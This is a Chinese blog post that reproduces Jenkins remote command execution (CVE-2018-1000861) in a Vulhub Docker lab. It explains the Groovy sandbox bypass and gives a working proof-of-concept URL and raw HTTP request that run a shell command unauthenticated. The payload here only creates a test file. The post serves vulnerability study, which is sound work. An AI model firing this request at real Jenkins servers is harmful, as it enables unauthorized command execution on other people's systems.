利用Vulnhub复现漏洞 - Jenkins远程命令执行漏洞(CVE-2018-1000861)

Jenkins远程命令执行漏洞(CVE-2018-1000861)

Vulnhub官方复现教程

https://vulhub.org/#/environments/jenkins/CVE-2018-1000861/

漏洞原理

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

通过这个漏洞,我们可以找到很多可供利用的利用链。其中最严重的就是绕过Groovy沙盒导致未授权用户可执行任意命令:Jenkins在沙盒中执行Groovy前会先检查脚本是否有错误,检查操作是没有沙盒的,攻击者可以通过Meta-Programming的方式,在检查这个步骤时执行任意命令。

参考链接:

复现过程

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056
进入路径为

cd /root/vulhub/jenkins/CVE-2018-1000861

搭建及运行漏洞环境:

docker-compose build && docker-compose up -d

用时:8分钟
环境启动后,访问http://your-ip:8080,即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。

漏洞复现

POC

使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:

http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/CVE-2018-1000861_is_success".execute()
  }
}

在这里插入图片描述

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/CVE-2018-1000861_is_success%22.execute()}} HTTP/1.1
Host: 192.168.236.138:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

检验

进入容器

docker-compose exec jenkins bash

/tmp/success已成功创建:
在这里插入图片描述

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页